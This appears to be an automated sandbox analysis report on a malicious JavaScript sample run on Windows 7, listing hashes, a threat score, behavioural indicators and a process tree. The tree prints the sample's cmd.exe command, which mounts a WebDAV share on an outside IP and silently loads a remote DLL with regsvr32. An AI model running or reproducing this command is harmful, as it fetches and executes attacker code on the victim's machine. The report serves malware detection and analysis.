28dccc57b681fdcae5374dc3a3426137b8348169c4b1c7e0b9fbfcf553d18323

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 17:44

Target

148583047985003545.js
Size

5KB
MD5

927caaa6cc94171edee9b8758da9985d
SHA1

ebc535f2c8b35efbe741ea47b75797e17fe07294
SHA256

28dccc57b681fdcae5374dc3a3426137b8348169c4b1c7e0b9fbfcf553d18323
SHA512

ce957b5f43ac485d3ee777e3e176b5a0db104fcc8f01073065cb1d0ff2b7e3abaa19bb452573009428cab7d0368a1976355c9033cb5bdcf9722ee1df8d2c6925
SSDEEP

96:pYkgJWtTjUcvAOrSMwy4pVay4yrK2OgNUYXB/2+EgtttAkGgtYzXB/2+EgtttbTU:pYdGXUA6yC/xhNU9+9XtAkG+YE+9Xtkr

Score

3^/10

execution

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2724 wrote to memory of 2960	2724	wscript.exe	30
PID 2724 wrote to memory of 2960	2724	wscript.exe	30
PID 2724 wrote to memory of 2960	2724	wscript.exe	30
PID 2960 wrote to memory of 2280	2960	cmd.exe	32
PID 2960 wrote to memory of 2280	2960	cmd.exe	32
PID 2960 wrote to memory of 2280	2960	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\148583047985003545.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\9809240748451.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\system32\net.exe
    net use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2280

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

JavaScript

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact